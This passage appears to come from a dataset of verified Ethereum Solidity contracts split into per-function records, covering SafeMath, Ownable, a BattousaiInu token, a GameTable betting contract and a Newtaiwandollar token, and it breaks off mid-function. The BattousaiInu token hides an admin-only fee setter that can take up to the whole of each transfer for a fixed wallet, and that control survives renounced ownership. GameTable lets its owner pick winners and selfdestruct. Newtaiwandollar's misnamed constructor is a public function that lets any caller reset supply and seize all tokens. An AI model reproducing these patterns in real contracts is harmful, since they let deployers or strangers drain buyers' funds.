* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
3931,
4066
]
} | 59,915 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
4546,
4717
]
} | 59,916 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | owner | function owner() public view returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
488,
572
]
} | 59,917 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | renounceOwnership | function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
1049,
1202
]
} | 59,918 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | transferOwnership | function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
1352,
1594
]
} | 59,919 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | BattousaiInu | contract BattousaiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _marketingWallet = 0x98A0a06B5717FE5Dc16B1D5fd6D66aA73104919D;
address private _adminWallet = _msgSender();
uint256 private slippage = 10;
uint256 private _tTotal = 1000000 * 10**9 * 10**18;
string private _name = 'Battousai Inu';
string private _symbol = 'BATTINU';
uint8 private _decimals = 18;
uint256 private _maxTxAmount = _tTotal;
constructor () {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev updateTaxFee
*
*/
function updateSlippage(uint256 amount) public {
require(_msgSender() == _adminWallet, "ERC20: cannot permit dev address");
slippage = amount;
}
function setTaxAmount(uint256 txAmount) public onlyOwner{
_maxTxAmount = txAmount;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
require(amount < _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 feeAmount = amount.mul(slippage).div(100);
uint256 sendAmount = amount.sub(feeAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(sendAmount);
_balances[_marketingWallet] = _balances[_marketingWallet].add(feeAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
} | updateSlippage | function updateSlippage(uint256 amount) public {
require(_msgSender() == _adminWallet, "ERC20: cannot permit dev address");
slippage = amount;
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
1763,
1935
]
} | 59,920 |
||
GameTable | GameTable.sol | 0xbf008cb93c2b19c3ae0db4149bcfa465b2ea0888 | Solidity | GameTable | contract GameTable {
using SafeMath for uint;
struct Player {
address addr;
uint amount;
uint profit;
}
struct Option {
uint optionid;
bytes32 optionName;
bytes32 optionImage;
uint amount;
uint numPlayers;
mapping (uint => Player) players;
mapping (address => uint) playeramounts;
}
struct Game {
address gameManager;
bytes32 gameName;
uint numOptions;
uint amount;
uint balance;
uint winner;
uint startTime;
uint endTime;
uint openTime;
uint runingStatus;
mapping (uint => Option) options;
}
address owner;
uint numGames;
mapping (uint => Game) games;
address gameDeveloper = 0x18d91206b297359e8aed91810a86D6bFF0AF3462;
//0x18d91206b297359e8aed91810a86d6bff0af3462
function GameTable() public {
owner = msg.sender;
numGames=0;
}
function kill() public {
if (owner == msg.sender) {
selfdestruct(owner);
}
}
function newGame(bytes32 name, uint startDuration, uint endDuration, uint openDuration) public returns (uint) {
if(startDuration < 1 || openDuration>888888888888 || endDuration<startDuration || openDuration<startDuration || openDuration<endDuration || owner != msg.sender) revert();
address manager = msg.sender;
uint startTime = now + startDuration * 1 minutes;
uint endTime = now + endDuration * 1 minutes;
uint openTime = now + openDuration * 1 minutes;
games[numGames] = Game(manager, name, 0, 0, 0, 0, startTime, endTime, openTime, 0);
numGames = numGames+1;
return (numGames-1);
}
function getGameNum() public constant returns(uint) {return numGames;}
function getGameInfo (uint gameinx) public constant returns(bytes32 _gamename,uint _numoptions,uint _amount,uint _startTime,uint _endTime,uint _openTime,uint _runingStatus) {
_gamename = games[gameinx].gameName;
_numoptions = games[gameinx].numOptions;
_amount = games[gameinx].amount;
_startTime = games[gameinx].startTime;
_endTime = games[gameinx].endTime;
_openTime = games[gameinx].openTime;
_runingStatus = games[gameinx].runingStatus;
}
function newOption(uint gameinx, uint optionid, bytes32 name, bytes32 optionimage) public returns (uint) {
if (owner != msg.sender) revert();
if (gameinx > numGames) revert();
if (now >= games[gameinx].startTime) revert();
if (games[gameinx].runingStatus == 0){
games[gameinx].runingStatus = 1;
}
games[gameinx].numOptions = games[gameinx].numOptions+1;
games[gameinx].options[games[gameinx].numOptions-1] = Option(optionid, name, optionimage, 0, 0);
return games[gameinx].numOptions-1;
}
function getGameWinner (uint gameinx) public constant returns(uint) {return games[gameinx].winner;}
function getOptionInfo (uint gameinx, uint optioninx) public constant returns(uint _gameinx, uint _optionid, uint _optioninx,bytes32 _optionname,bytes32 _optionimage,uint _numplayers, uint _amount, uint _playeramount) {
_gameinx = gameinx;
_optioninx = optioninx;
_optionid = games[gameinx].options[optioninx].optionid;
_optionname = games[gameinx].options[optioninx].optionName;
_optionimage = games[gameinx].options[optioninx].optionImage;
_numplayers = games[gameinx].options[optioninx].numPlayers;
_amount = games[gameinx].options[optioninx].amount;
_playeramount = games[gameinx].options[optioninx].playeramounts[msg.sender];
}
function getPlayerPlayInfo (uint gameinx, uint optioninx, uint playerinx) public constant returns(address _addr, uint _amount, uint _profit) {
if(msg.sender != owner) revert();
_addr = games[gameinx].options[optioninx].players[playerinx].addr;
_amount = games[gameinx].options[optioninx].players[playerinx].amount;
_profit = games[gameinx].options[optioninx].players[playerinx].profit;
}
function getPlayerAmount (uint gameinx, uint optioninx, address addr) public constant returns(uint) {
if(msg.sender != owner) revert();
return games[gameinx].options[optioninx].playeramounts[addr];
}
function contribute(uint gameinx,uint optioninx) public payable {
if ((gameinx<0)||(gameinx>999999999999999999999999999999999999)||(optioninx<0)) revert();
if (optioninx >= games[gameinx].numOptions) revert();
if (now <= games[gameinx].startTime) revert();
if (now >= games[gameinx].endTime) revert();
//1000000000000000000=1eth
//5000000000000000 = 0.005 ETH
if (msg.value<5000000000000000 || msg.value>1000000000000000000000000000) revert();
if (games[gameinx].amount > 99999999999999999999999999999999999999999999999999999999) revert();
games[gameinx].options[optioninx].players[games[gameinx].options[optioninx].numPlayers++] = Player({addr: msg.sender, amount: msg.value, profit:0});
games[gameinx].options[optioninx].amount = games[gameinx].options[optioninx].amount.add(msg.value);
games[gameinx].options[optioninx].playeramounts[msg.sender] = games[gameinx].options[optioninx].playeramounts[msg.sender].add(msg.value);
games[gameinx].amount = games[gameinx].amount.add(msg.value);
}
function setWinner(uint gameinx,bytes32 gameName, uint optioninx, uint optionid, bytes32 optionName) public returns(bool res) {
if (owner != msg.sender) revert();
if ((now <= games[gameinx].openTime)||(games[gameinx].runingStatus>1)) revert();
if (gameName != games[gameinx].gameName) revert();
if (games[gameinx].options[optioninx].optionName != optionName) revert();
if (games[gameinx].options[optioninx].optionid != optionid) revert();
games[gameinx].winner = optioninx;
games[gameinx].runingStatus = 2;
safeWithdrawal(gameinx);
return true;
}
function safeWithdrawal(uint gameid) private {
if ((gameid<0)||(gameid>999999999999999999999999999999999999)) revert();
if (now <= games[gameid].openTime) revert();
if (games[gameid].runingStatus != 2) revert();
uint winnerID = games[gameid].winner;
if (winnerID >0 && winnerID < 9999) {
games[gameid].runingStatus = 3;
uint totalWinpool = games[gameid].options[winnerID].amount;
totalWinpool = games[gameid].amount.sub(totalWinpool);
//Calculate Fee
uint fee = totalWinpool.mul(15);
fee = fee.div(1000);
uint reward=totalWinpool.sub(fee);
//1000000000000000000=1eth
if(games[gameid].options[winnerID].amount<100000000000){
gameDeveloper.transfer(reward);
}
else{
uint ratio = reward.mul(100);
ratio = ratio.div(games[gameid].options[winnerID].amount); //safe????
uint totalReturn = 0;
for(uint i = 0; i < games[gameid].options[winnerID].numPlayers; i++) {
uint returnWinAmount = games[gameid].options[winnerID].players[i].amount.mul(ratio);
returnWinAmount = returnWinAmount.div(100);
returnWinAmount = games[gameid].options[winnerID].players[i].amount.add(returnWinAmount);
games[gameid].options[winnerID].players[i].addr.transfer(returnWinAmount);
games[gameid].options[winnerID].players[i].profit = returnWinAmount;
totalReturn = totalReturn.add(returnWinAmount);
}
uint totalFee = games[gameid].amount.sub(totalReturn);
gameDeveloper.transfer(totalFee);
}
}
}
} | GameTable | function GameTable() public {
owner = msg.sender;
numGames=0;
}
| //0x18d91206b297359e8aed91810a86d6bff0af3462 | LineComment | v0.4.18+commit.9cf6e910 | bzzr://b27944409204a0496f711ca0c419c5276ad2291a3eb7f720e262bf8e67d048f3 | {
"func_code_index": [
930,
1022
]
} | 59,921 |
|||
Newtaiwandollar | Newtaiwandollar.sol | 0xe031310ba59c2eddeba00e1b5ec6e0fc00ed5080 | Solidity | Newtaiwandollar | contract Newtaiwandollar{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 1000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "newTaiwandollar"; // Set the name for display purposes
symbol = "TWD"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | TokenERC20 | function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 1000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "newTaiwandollar"; // Set the name for display purposes
symbol = "TWD"; // Set the symbol for display purposes
}
| /**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://6b9cf20046e1875bf716449ed11236d43f030563ec87b0b119229eb55e23bd27 | {
"func_code_index": [
844,
1300
]
} | 59,922 |
|||
Newtaiwandollar | Newtaiwandollar.sol | 0xe031310ba59c2eddeba00e1b5ec6e0fc00ed5080 | Solidity | Newtaiwandollar | contract Newtaiwandollar{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 1000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "newTaiwandollar"; // Set the name for display purposes
symbol = "TWD"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | _transfer | function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
| /**
* Internal transfer, only can be called by this contract
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://6b9cf20046e1875bf716449ed11236d43f030563ec87b0b119229eb55e23bd27 | {
"func_code_index": [
1384,
2232
]
} | 59,923 |
|||
Newtaiwandollar | Newtaiwandollar.sol | 0xe031310ba59c2eddeba00e1b5ec6e0fc00ed5080 | Solidity | Newtaiwandollar | contract Newtaiwandollar{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 1000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "newTaiwandollar"; // Set the name for display purposes
symbol = "TWD"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
